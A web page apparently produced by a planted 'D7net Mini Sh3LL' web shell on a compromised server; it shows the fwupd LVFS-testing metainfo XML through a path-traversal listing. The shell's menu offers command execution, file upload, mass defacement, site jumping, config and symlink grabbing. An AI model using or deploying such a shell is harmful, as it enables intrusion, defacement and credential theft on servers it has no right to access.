D7net Mini Sh3LL v1

 
OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /libx32/../share/snapd/../locale/ia/../../doc/info/../libroken18-heimdal/../usbmuxd/../liberror-perl/../grub2-common/../libjpeg8/../php7.4-mysql/../gnupg/../python3-apt/../netplan.io/../wget/../libcurl3-gnutls/../libthai-data/../python3-six/../screen/../maria/../libxaw7/../libmnl0/../netplan/../gdisk/../systemd-sysv/../grep/../udisks2/../libacl1/../libxmlb1/../libperl5.30/../automake/../libmpfr6/../libxext6/../mariadb-common/../bc/../udev/../packagekit/../lz4/../composer/../ftp/../python3/../libfontconfig1/../libgnutls30/../upower/../htop/../libsctp1/../libdbi-perl/../libpcre3/../python3-urllib3/../libip6tc2/../uuid-dev/../libsub-override-perl/../socat/../libgcab-1.0-0/../bzip2/../keyboard-configuration/../../fwupd/metainfo/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : //libx32/../share/snapd/../locale/ia/../../doc/info/../libroken18-heimdal/../usbmuxd/../liberror-perl/../grub2-common/../libjpeg8/../php7.4-mysql/../gnupg/../python3-apt/../netplan.io/../wget/../libcurl3-gnutls/../libthai-data/../python3-six/../screen/../maria/../libxaw7/../libmnl0/../netplan/../gdisk/../systemd-sysv/../grep/../udisks2/../libacl1/../libxmlb1/../libperl5.30/../automake/../libmpfr6/../libxext6/../mariadb-common/../bc/../udev/../packagekit/../lz4/../composer/../ftp/../python3/../libfontconfig1/../libgnutls30/../upower/../htop/../libsctp1/../libdbi-perl/../libpcre3/../python3-urllib3/../libip6tc2/../uuid-dev/../libsub-override-perl/../socat/../libgcab-1.0-0/../bzip2/../keyboard-configuration/../../fwupd/metainfo/org.freedesktop.fwupd.remotes.lvfs-testing.metainfo.xml
<?xml version="1.0" encoding="UTF-8"?>
<!-- Copyright 2018 Richard Hughes <richard@hughsie.com> -->
<component type="source">
  <id>org.freedesktop.fwupd.remotes.lvfs-testing</id>
  <name>Linux Vendor Firmware Service (testing firmware)</name>
  <name xml:lang="zh_TW">Linux 廠商韌體服務(測試中韌體)</name>
  <name xml:lang="zh_CN">Linux 供应商固件服务(测试固件)</name>
  <name xml:lang="uk">Служба надання мікропрограм для Linux від виробника (тестова мікропрограма)</name>
  <name xml:lang="tr">Linux Tedarikçi Ürün Yazılımı Hizmeti (test ürün yazılımı)</name>
  <name xml:lang="sv">Linux Vendor Firmware Service (fast programvara för testning)</name>
  <name xml:lang="ru">Linux Vendor Firmware Service (тестовая прошивка)</name>
  <name xml:lang="pt_BR">Linux Vendor Firmware Service (firmware de teste)</name>
  <name xml:lang="pt">Linux Vendor Firmware Service (firmware de teste)</name>
  <name xml:lang="pl">Linux Vendor Firmware Service (testowe oprogramowanie sprzętowe)</name>
  <name xml:lang="pa">ਲੀਨਕਸ ਵੇਂਡਰ ਫਿਰਮਵੇਅਰ ਸਰਵਿਸ (ਟੈਸਟਿੰਗ ਫਿਰਮਵੇਅਰ)</name>
  <name xml:lang="lt">Linux tiekėjų programinės aparatinės įrangos paslauga (testuojama programinė aparatinė įranga)</name>
  <name xml:lang="ko">리눅스 제조사 펌웨어 서비스(테스트 버전 펌웨어)</name>
  <name xml:lang="ja">Linux ベンダーファームウェアサービス (試験版ファームウェア)</name>
  <name xml:lang="it">Linux Vendor Firmware Service (firmware in prova)</name>
  <name xml:lang="id">Layanan Firmware Vendor Linux (firmware uji)</name>
  <name xml:lang="hu">Linux gyártói firmware szolgáltatás (teszt firmware)</name>
  <name xml:lang="hr">Firmver Usluga Linux Proizvođača (LVFS) (testni firmver)</name>
  <name xml:lang="he">שירות קושחת יצרנים ללינוקס (קושחה ניסיונית)</name>
  <name xml:lang="gl">Servizo de Linux Vendor Firmware (firmware de probas)</name>
  <name xml:lang="fur">Servizi Firmware dal vendidôr di Linux (firmware di prove)</name>
  <name xml:lang="fi">Linux-laitetoimittajien laiteohjelmistopalvelu (testattavat laiteohjelmistot)</name>
  <name xml:lang="en_GB">Linux Vendor Firmware Service (testing firmware)</name>
  <name xml:lang="de">Linux Vendor Firmware Service (Test-Firmware)</name>
  <name xml:lang="da">Linux Vendor Firmware Service (testning firmware)</name>
  <name xml:lang="cs">Linux Vendor Firmware Service (testovací firmware)</name>
  <name xml:lang="ca">Servei de microprogramari del proveïdor Linux (microprogramari en proves)</name>
  <metadata_license>CC0-1.0</metadata_license>
  <agreement version_id="1.0">
    <agreement_section>
      <description>
        <!-- TRANSLATORS: do not translate the variables marked using $ -->
        <p>
          The LVFS is a free service that operates as an independent legal
          entity and has no connection with $OS_RELEASE:NAME$.
          Your distributor may not have verified any of the firmware updates for
          compatibility with your system or connected devices.
          All firmware is provided only by the original equipment manufacturer.
        </p>
        <p xml:lang="zh_TW">LVFS(Linux 廠商韌體服務,Linux Vendor Firmware Service)是由獨立法人運作的免費服務,而與 $OS_RELEASE:NAME$ 沒有關聯。您的系統散布商可能尚未驗證過任何韌體更新與您系統間或連接裝置上的相容性。所有本服務中的韌體僅由原始設備製造商提供。</p>
        <p xml:lang="zh_CN">LVFS 是个免费服务,以独立法律实体运作,与 $OS_RELEASE:NAME$ 无关。你的发行商可能未对固件更新与你的系统或连接的设备兼容性做过任何验证。所有固件都由原始设备制造商提供。</p>
        <p xml:lang="uk">LVFS є безкоштовною службою, яка працює як незалежна юридична одиниця і не має зв'язку з $OS_RELEASE:NAME$. Розробники вашої операційної системи, можливо, не перевіряли жодні з цих оновлень на сумісність із системою або з'єднаними із комп'ютером пристроями. Усі мікропрограми надаються лише самими виробниками обладнання.</p>
        <p xml:lang="sv">LVFS är en fri tjänst som fungerar som en oberoende juridisk person och har ingen koppling till $OS_RELEASE:NAME$. Din distributör kanske inte har bekräftat att någon av uppdateringarna för fast programvara är kompatibla med ditt system eller anslutna enheter. All fast programvara tillhandahålls endast av den ursprungliga tillverkaren av utrustning.</p>
        <p xml:lang="ru">LVFS — это бесплатный сервис, действующий как независимое юридическое лицо, которое не имеет связи с системой $OS_RELEASE:NAME$. Ваш распространитель системы может не проверять какие-либо обновления прошивки на совместимость с системой или подключенными устройствами. Каждая прошивка поставляется только производителем оригинального оборудования.</p>
        <p xml:lang="pt_BR">O LVFS é um serviço livre que opera como uma entidade legal independente e tem nenhuma conexão com $OS_RELEASE:NAME$. Seu distribuidor pode não ter verificado alguma das atualizações de firmware por compatibilidade com seu sistema ou dispositivos conectados. Todo firmware é fornecido apenas pelo fabricante do equipamento original.</p>
        <p xml:lang="pt">O LVFS é um serviço livre que opera como uma entidade legal independente e tem nenhuma ligação com $OS_RELEASE:NAME$. O seu distribuidor pode não ter verificado alguma das atualizações de firmware por compatibilidade com O seu sistema ou dispositivos ligados. Todo o firmware é fornecido apenas pelo fabricante do equipamento original.</p>
        <p xml:lang="pl">LVFS to wolny serwis działający jako niezależny podmiot prawny niemający związków z systemem $OS_RELEASE:NAME$. Dystrybutor używanego systemu mógł nie zweryfikować żadnych aktualizacji oprogramowania sprzętowego pod kątem zgodności z używanym komputerem lub podłączonymi urządzeniami. Każde oprogramowanie sprzętowe jest dostarczane wyłącznie przez oryginalnego producenta sprzętu.</p>
        <p xml:lang="pa">LVFS ਮੁਫ਼ਤ ਸਰਵਿਸ ਹੈ, ਜੋ ਕਿ ਆਜ਼ਾਦ ਕਨੂੰਨੀ ਸੰਸਥਾ ਵਜੋਂ ਕੰਮ ਕਰਦੀ ਹੈ ਅਤੇ $OS_RELEASE:NAME$ ਨਾਲ ਕੋਈ ਸੰਬੰਧ ਨਹੀਂ ਹੈ। ਤੁਹਾਡੇ ਡਿਸਟਰੀਬਿਊਟਰ ਨੇ ਤੁਹਾਡੇ ਸਿਸਟਮ ਜਾਂ ਕਨੈਕਟ ਹੋਏ ਡਿਵਾਈਸਾਂ ਲਈ ਅਨੁਕੂਲਤਾ ਵਾਸਤੇ ਫਿਰਮਵੇਅਰ ਅੱਪਡੇਟਾਂ ਨੂੰ ਤਸਦੀਕ ਨਹੀਂ ਕੀਤੇ ਹਨ। ਸਾਰੇ ਫਿਰਮਵੇਅਰ ਅਸਲ ਡਿਵਾਈਸ ਨਿਮਰਾਤਾਵਾਂ ਵਲੋਂ ਹੀ ਦਿੱਤੇ ਜਾ ਗਏ ਹਨ।</p>
        <p xml:lang="ko">LVFS는 $OS_RELEASE:NAME$와(과) 별개로 운영되는 독립된 법적 단체에서 운영하는 무료 서비스입니다. 배포판 개발사에서 펌웨어 업데이트와 시스템 및 연결한 장치의 호환성을 검증한다는 보장이 없습니다. 모든 펌웨어는 장치 제조사(OEM)에서 직접 제공합니다.</p>
        <p xml:lang="ja">LVFS は独立した法人として機能する無料のサービスであり、$OS_RELEASE:NAME$ とは関係ありません。ディストリビューターは、システムまたは接続されているデバイスとの互換性について、ファームウェアの更新を確認していない可能性があります。すべてのファームウェアは、元の機器の製造元からのみ提供されています。</p>
        <p xml:lang="it">LVFS è un servizio gratuito che opera come entità legale indipendente e non ha alcun legame con $OS_RELEASE:NAME$. Il distributore potrebbe non aver verificato la compatibilità degli aggiornamenti firmware col proprio sistema o con i propri dispositivi collegati. Il firmware viene fornito solamente dall'OEM.</p>
        <p xml:lang="id">LVFS adalah layanan gratis yang beroperasi sebagai badan hukum independen dan tidak memiliki koneksi dengan $OS_RELEASE:NAME$. Distributor Anda mungkin belum memverifikasi pembaruan firmware untuk kompatibilitas dengan sistem Anda atau perangkat yang terhubung. Semua firmware hanya disediakan oleh pabrikan peralatan asli.</p>
        <p xml:lang="hu">Az LVFS egy ingyenes szolgáltatás, amely független jogi entitásként működik, és nincs kapcsolata a $OS_RELEASE:NAME$ operációs rendszerrel. A disztribúció szállítója nem biztos, hogy ellenőrízte kompatibilitási szempontból a firmware frissítést. Mindent firmware-t csak az eredeti termék gyártója biztosít.</p>
        <p xml:lang="hr">LVFS (Firmver Usluga Linux Proizvođača) je besplatna usluga koja djeluje kao neovisna pravna osoba i nema veze sa $OS_RELEASE:NAME$. Vaš distributer možda nije provjerio nadopune firmvera za kompatibilnost s vašim sustavom ili priključenim uređajima. Svi firmveri su pružani od strane izvornih proizvođača opreme.</p>
        <p xml:lang="he">LVFS הוא שירות חינמי שמתפקד כיישות חוקית בלתי תלוי ואין לה שום קשר עם $OS_RELEASE:NAME$. יתכן כי המפיץ שלך לא אימת ברמת תאימות אף אחד מעדכוני הקושחה מול המערכת שלך או ההתקנים המחוברים אליה. כל הקושחה מסופקת אך ורק על ידי יצרני הציוד המקוריים.</p>
        <p xml:lang="gl">O LVFS é o servizo que opera como unha entidade legal independente e non ten ligazón con $OS_RELEASE:NAME$. O seu distribuidor podería non ter que comprobar se as actualizacións de firmware teñen compatibilidade co seu sistema ou dispositivos conectados. Todos os firmware son fornecidos por fabricantes de equipamento orixinal.</p>
        <p xml:lang="fur">Il LVFS — Servizi firmware dal vendidôr di linux — al è un servizi gratuit che al opere come entitât legâl indipendente e no à conession cun $OS_RELEASE:NAME$. Il to distributôr al podarès no vê verificât la compatibilitât di nissun dai inzornaments firmware cul vuestri sisteme o cui dispositîfs tacâts. Ducj i firmware a son furnîts dome dal produtôr origjinâl dal imprest.</p>
        <p xml:lang="fr">LVFS est un service libre qui opère en tant qu'entité légale indépendante et n'est aucunement connecté à $OS_RELEASE:NAME$. Votre distributeur n'a pas forcément vérifié la compatibilité des mises à jour de micrologiciel avec votre système ou avec les appareils connectés. Tous les micrologiciels ne sont fournis que par le fabricant original de votre équipement.</p>
        <p xml:lang="fi">LVFS on ilmainen palvelu, joka toimii itsenäisenä oikeushenkilönä eikä sillä ole yhteyttä jakelijaan $OS_RELEASE:NAME$. Jakelijasi ei ehkä ole varmistanut laiteohjelmistopäivitysten yhteensopivuutta järjestelmän tai liitettyjen laitteiden kanssa. Kaikki laiteohjelmistot tulevat alkuperäisiltä laitevalmistajilta.</p>
        <p xml:lang="en_GB">The LVFS is a free service that operates as an independent legal entity and has no connection with $OS_RELEASE:NAME$. Your distributor may not have verified any of the firmware updates for compatibility with your system or connected devices. All firmware is provided only by the original equipment manufacturer.</p>
        <p xml:lang="de">Der LVFS ist ein kostenloser Dienst, der als unabhängige juristische Person arbeitet und keine Verbindung zu $OS_RELEASE:NAME$ hat. Möglicherweise hat Ihr Lieferant eine der Firmware-Aktualisierungen nicht auf Kompatibilität mit Ihrem System oder angeschlossenen Geräten überprüft. Die gesamte Firmware wird nur vom Originalhersteller zur Verfügung gestellt.</p>
        <p xml:lang="da">LVFS'en er en gratis tjeneste der opererer som en selvstændig juridisk enhed og har ingen forbindelse med $OS_RELEASE:NAME$. Din distributør har måske ikke bekræftet nogen af firmwareopdateringerne for kompatibilitet med dit system eller tilsluttede enheder. Al firmware leveres kun af den oprindelige udstyrsproducent.</p>
        <p xml:lang="cs">LVFS je bezplatná služba, které funguje jako nezávislý právní subjekt a nemá žádné vazby na systém $OS_RELEASE:NAME$. Kompatibilita aktualizací firmware s připojenými zařízeními, či vámi používaným systémem, nemusí být poskytovatelem vámi používané distribuce ověřována. Veškerý firmware je poskytován pouze přímo od výrobců daného vybavení.</p>
        <p xml:lang="ca">El LVFS és un servei gratuït que funciona com una entitat legal independent i no té cap vincle amb la $OS_RELEASE:NAME$. És possible que el vostre distribuïdor no hagi verificat cap de les actualitzacions del microprogramari per a la compatibilitat amb el vostre sistema o els dispositius connectats. Tot el microprogramari només és proporcionat pel fabricant original dels equips.</p>
        <p>
          This remote contains firmware which is not embargoed, but is still being
          tested by the hardware vendor.
          You should ensure you have a way to manually downgrade the firmware if
          the firmware update fails.
        </p>
        <p xml:lang="zh_TW">這個遠端站點包含未列入禁運,但仍處於硬體廠商測試階段的韌體。您應該確保自己在韌體更新失敗時有方法能夠手動降級韌體。</p>
        <p xml:lang="zh_CN">此远程源包含未禁止的固件,但其仍经过硬件供应商测试。你应该确保如果固件更新失败时你能够降级固件。</p>
        <p xml:lang="uk">У цьому сховищі міститься мікропрограма, встановлювати яку не заборонено, але яка усе ще перебуває у процесі тестування виробником обладнання. Вам слід переконатися, що ви зможете встановити стабільну версію мікропрограми, якщо процедура оновлення зазнає невдачі.</p>
        <p xml:lang="tr">Bu yazılım ambargo edilmemiş, ancak donanım satıcısı tarafından test edilmekte olan bir ürün yazılımı içerir. Bellenim güncellemesi başarısız olursa, bellenimi elle düşürmenin bir yoluna sahip olmanız gerekir.</p>
        <p xml:lang="sv">Denna fjärrkälla innehåller fast programvara som inte är under embargo, men fortfarande testas av hårdvarutillverkare. Du bör säkerställa att du har ett sätt att manuellt nedgradera den fasta programvaran om uppdateringen misslyckas.</p>
        <p xml:lang="ru">Этот репозиторий содержит прошивки, которое не запрещены, но все еще тестируются производителем оборудования. Вы должны убедиться, что у вас есть способ вручную понизить версию прошивки устройства в случае сбоя при обновлении.</p>
        <p xml:lang="pt_BR">Este remoto contém firmware que não está embargado, mas ainda está sendo testado pelo fornecedor do hardware. Você deve garantir que você tenha uma maneira de fazer downgrade manual do firmware se a atualização do firmware falhar.</p>
        <p xml:lang="pt">Este remoto contém firmware que não está embargado, mas ainda está a ser testado pelo fornecedor do hardware. Deve garantir que tem uma maneira de reverter manualmente do firmware se a atualização do firmware falhar.</p>
        <p xml:lang="pl">To repozytorium zawiera oprogramowanie sprzętowe nieobjęte embargo, ale nadal testowane przez dostawcę sprzętu. Należy upewnić się, że istnieje możliwość ręcznego zainstalowania poprzedniej wersji oprogramowania sprzętowego w razie niepowodzenia aktualizacji.</p>
        <p xml:lang="ko">이 원격 저장소에서는 하드웨어 제조사에서 검증 단계를 진행 중인 펌웨어를 배포합니다. 펌웨어 업데이트 도중 및 이후 문제가 발생했을 경우를 대비하여 직접 펌웨어를 다운그레이드할 방편을 확보하기를 추천합니다.</p>
        <p xml:lang="ja">この遠隔側ソースには、輸出禁止ではないファームウェアが含まれていますが、ハードウェアベンダーによって未だテスト中です。ファームウェアの更新に失敗した場合は、ファームウェアを手動でダウングレードする方法を確保しておく必要があります。</p>
        <p xml:lang="it">Questo remoto contiene firmware che non è bloccato, ma è ancora in fase di verifica dal produttore hardware. Assicurarsi di poter ripristinare, manualmente o con altre procedure, il vecchio firmware nel caso in cui l'aggiornamento non riuscisse.</p>
        <p xml:lang="id">Remote ini berisi firmware yang tidak diembargo, tetapi masih sedang diuji oleh vendor perangkat keras. Anda harus memastikan Anda memiliki cara untuk menurunkan versi firmware secara manual jika pembaruan firmware gagal.</p>
        <p xml:lang="hu">Ez a távoli tároló olyan firmware-t tartalmaz, amelyre nem vonatkozik embargó, de még teszteli a harvergyártó. Érdemes biztosítani a firmware kézi visszaállításáról, ha a firmware frissítése meghiúsul.</p>
        <p xml:lang="hr">Ova udaljena lokacija sadrži firmver koji nije zabranjen, ali se još uvijek testira od strane proizvođača hardvera. Provjerite da imate način na ručno vraćanje starije inačice firmvera ako nadopuna firmvera ne uspije.</p>
        <p xml:lang="he">צד מרוחק זה כולל קושחה שלא נפסלה אך עדיין נבדקת על ידי ספק החומרה. עליך לוודא שיש לך דרך ידנית לשנמך את הקושחה במקרה שעדכון הקושחה נכשל.</p>
        <p xml:lang="fur">Chest rimot al conten firmware che no son sot di embargo, ma a son ancjemò in prove dal vendidôr dal hardware. Si à di sigurâsi di vê une maniere par puartâ indaûr a man il firmware ae version precedente, se l'inzornament al falìs.</p>
        <p xml:lang="fi">Tämä lähde sisältää laiteohjelmiston, joka ei ole vientikiellossa, mutta jota laitteistotoimittaja testaa edelleen. Varmista, että voit päivittää laiteohjelmiston takaisin vanhempaan versioon manuaalisesti, jos päivitys epäonnistuu.</p>
        <p xml:lang="en_GB">This remote contains firmware which is not embargoed, but is still being tested by the hardware vendor. You should ensure you have a way to manually downgrade the firmware if the firmware update fails.</p>
        <p xml:lang="da">Fjernen indeholder firmware som der ikke er embargo på, men som stadigvæk testes af hardwareproducenten. Du skal sikre dig at du har en manuel måde til at nedgradere firmwaren på hvis firmwareopdateringen mislykkedes.</p>
        <p xml:lang="cs">Tento vzdálený zdroj obsahuje firmware, který už sice je možné šířit, ale zatím je u výrobce stále ještě ve stádiu testování. Měli byste si zajistit, že znáte způsob, jak se ručně vrátit ke starší verzi firmwaru, kdyby při aktualizaci došlo k nezdaru.</p>
        <p xml:lang="ca">Aquest remot conté microprogramari que no està embargat, però encara l'ha de provar el proveïdor del maquinari. Haureu d'assegurar-vos que teniu una manera de desactualitzar manualment el microprogramari si l'actualització del microprogramari no funciona.</p>
        <p>
          Enabling this functionality is done at your own risk, which means you
          have to contact your original equipment manufacturer regarding any
          problems caused by these updates.
          Only problems with the update process itself should be filed at
          $OS_RELEASE:BUG_REPORT_URL$.
        </p>
        <p xml:lang="zh_TW">啟用此功能必須自負風險。這代表若您遭遇到這些更新導致的任何問題,您必須向原始設備供應商聯絡並反應。只有在您遇到更新過程本身的問題時,才是向 $OS_RELEASE:BUG_REPORT_URL$ 回報。</p>
        <p xml:lang="zh_CN">启用此功能的风险自负,这意味着你必须就这些更新引起的任何问题与原始设备制造商联系。只有更新过程本身的问题可以提交到 $OS_RELEASE:BUG_REPORT_URL$。</p>
        <p xml:lang="uk">Наслідки вмикання цієї можливості покладаються на вас. Це означає, що усі проблеми, пов'язані із цими оновленнями, ви маєте вирішувати із виробником обладнання. Повідомляти розробникам дистрибутива за адресою  $OS_RELEASE:BUG_REPORT_URL$ слід лише про помилки у процесі оновлення.</p>
        <p xml:lang="tr">Bu işlevselliğin etkinleştirilmesi kendi sorumluluğunuzdadır, bu güncellemelerin neden olduğu sorunlar için orijinal ekipman üreticinize başvurmanız gerektiği anlamına gelir. Yalnızca güncelleme işleminin kendisiyle ilgili sorunlar şu adresten yapılmalıdır $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="sv">Att aktivera denna funktionalitet görs på egen risk, vilket betyder att du måste kontakta den ursprungliga tillverkaren av din utrustning om problem som orsakas av dessa uppdateringar. Endast problem med själva uppdateringsprocessen ska rapporteras på $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="ru">Активирование этого функционала осуществляется на ваш страх и риск. Это означает, что вам следует обратиться к производителю оборудования относительно любых проблем, вызванных этими обновлениями. Только проблемы с фактическим процессом обновления следует сообщать в $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="pt_BR">A habilitação dessa funcionalidade é feita por sua conta e risco, o que significa que você precisa entrar em contato com o fabricante do equipamento original sobre quaisquer problemas causados por essas atualizações. Somente problemas com o processo de atualização devem ser relatados em $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="pt">A ativação desta funcionalidade é feita por sua conta e risco, o que significa que precisa de entrar em contato com o fabricante do equipamento original sobre quaisquer problemas causados por estas atualizações. Apenas problemas com o processo de atualização devem ser relatados em $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="pl">Włączenie tej funkcjonalności jest wykonywane na własne ryzyko, co oznacza, że należy skontaktować się z oryginalnym producentem sprzętu w sprawie ewentualnych problemów spowodowanych przez te aktualizacje. Tylko problemy z samym procesem aktualizacji powinny być zgłaszane pod adresem $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="pa">ਇਹ ਸਹੂਲਤ ਨੂੰ ਆਪਣੇ ਖਤਰੇ ਉੱਤੇ ਹੀ ਸਮਰੱਥ ਕਰੋ, ਜਿਸ ਦਾ ਅਰਥ ਹੋਵੇਗਾ ਕਿ ਇਹਨਾਂ ਅੱਪਡੇਟਾਂ ਨਾਲ ਆਈ ਕਿਸੇ ਵੀ ਸਮੱਸਿਆ ਵਾਸਤੇ ਤੁਸੀਂ ਅਸਲ ਡਿਵਾਈਸ ਨਿਰਮਾਤਾ ਨਾਲ ਸੰਪਰਕ ਕਰੋਗੇ। ਅੱਪਡੇਟ ਕਰਨ ਦੀ ਕਾਰਵਾਈ ਸੰਬੰਧੀ ਕਿਸੇ ਵੀ ਸਮੱਸਿਆ ਬਾਰੇ $OS_RELEASE:BUG_REPORT_URL$ ਉੱਤੇ ਰਿਪੋਰਟ ਕਰੋ।</p>
        <p xml:lang="ko">이 기능의 사용은 본인의 책임이며, 업데이트로 인해서 생긴 문제는 원 장치 제조사에 직접 보고해야 합니다. 업데이트 진행 과정 자체의 문제는 $OS_RELEASE:BUG_REPORT_URL$(으)로 보고해 주십시오.</p>
        <p xml:lang="ja">この機能を有効にすることは、お客様自身の責任で行ってください。つまり、これらの更新によって発生した問題については、製造元のメーカーに連絡する必要があります。更新プロセス自体に関する問題だけを $OS_RELEASE:BUG_REPORT_URL$ へ提出してください。</p>
        <p xml:lang="it">Abilitare questa funzionalità a proprio rischio: in caso di problemi con gli aggiornamenti sarà necessario contattare l'OEM. Solamente i problemi legati al processo di aggiornamento possono essere inviati a $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="id">Mengaktifkan fungsi ini dilakukan dengan risiko Anda sendiri, yang berarti Anda harus menghubungi produsen peralatan asli Anda mengenai masalah yang disebabkan oleh pembaruan ini. Hanya masalah dengan proses pembaruan itu sendiri yang harus diajukan pada $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="hu">Csak a saját felelősségére engedélyezze ezt a funkciót, amely azt jelenti, hogy az eredeti termék gyártójával kell kapcsolatba lépnie, ha problémát okoz a frissítés. Csak a frissítési folyamattal kapcsolatos problémákat jelentse itt be: $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="hr">Omogućujete ovu funkcionalnost na vlastiti rizik, što znači da morate kontaktirati svog izvornog proizvođača opreme u vezi problema uzrokovanih tim nadopunama. Samo probleme sa samim postupkom nadopune treba prijaviti na $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="he">הפעלת יכולת זאת היא על אחריותך בלבד, כלומר שעליך ליצור קשר עם ספק הציוד המקורי שלך בנוגע לתקלות שנגרמות על ידי העדכונים האלה. רק תקלות בתהליך העדכון עצמו אמורות להיות מתועדות אצל $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="gl">Active esta funcionalidade baixo o seu risco, o que significa que ten que contactar co seu fabricante de equipamento orixinal se ten calquera problema con estas actualizacións. Só os problemas co proceso de actualización en si deberían enviarse en $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="fur">Si abilite cheste funzionalitât a propri pericul, che al significhe che, par ogni probleme causât di chescj inzornaments, si à di contatâ il produtôr origjinâl dal imprest. Dome i problemis che si àn cul sôl procès di inzornament a àn di sei inviâts a $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="fr">L'activation de cette fonctionnalité est à vos propres risques, ce qui signifie que vous devrez contacter le fabricant d'origine de votre équipement au sujet de tout problème éventuel causé par ces mises à jour. Seuls les problèmes liés au processus de mise à jour doivent être signalés à $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="fi">Tämän toiminnon käyttöönotto tapahtuu omalla vastuullasi, joten sinun on otettava yhteyttä alkuperäiseen laitevalmistajaan näiden päivitysten aiheuttamista ongelmista. Vain päivitysprosessiin liittyvät ongelmat pitäisi ilmoittaa osoitteeseen $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="en_GB">Enabling this functionality is done at your own risk, which means you have to contact your original equipment manufacturer regarding any problems caused by these updates. Only problems with the update process itself should be filed at $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="de">Die Aktivierung dieser Funktionalität erfolgt auf eigene Gefahr, d.h. Sie müssen sich bei Problemen, die durch diese Aktualisierungen verursacht werden, an Ihren Erstausrüster wenden. Nur Probleme mit dem Aktualisierungsprozess selbst sollten unter $OS_RELEASE:BUG_REPORT_URL$ eingereicht werden.</p>
        <p xml:lang="da">Aktivering af funktionen sker på egen risiko. Det betydet at du skal kontakte din oprindelige udstyrsproducent vedrørende eventuelle problemer forårsaget af opdateringerne. Det er kun problemer med selv opdateringsprocessen som skal indsende på $OS_RELEASE:BUG_REPORT_URL$.</p>
        <p xml:lang="cs">Zapnutí této funkce je na vaše vlastní riziko. To znamená, že v případě problémů způsobených aktualizací je třeba, abyste se obrátili přímo na výrobce daného vybavení. Na adresu $OS_RELEASE:BUG_REPORT_URL$ by měly být hlášeny pouze problémy s aktualizačním procesem jako takovým.</p>
        <p xml:lang="ca">Si habiliteu aquesta funcionalitat, ho fareu sota el vostre propi risc, el qual significa que haureu de posar-vos en contacte amb el fabricant original de l'equip quant a qualsevol problema causat per aquestes actualitzacions. A $OS_RELEASE:BUG_REPORT_URL$, només s'han de presentar els problemes amb el procés d'actualització.</p>
      </description>
    </agreement_section>
  </agreement>
</component>

AnonSec - 2021 | Recode By D7net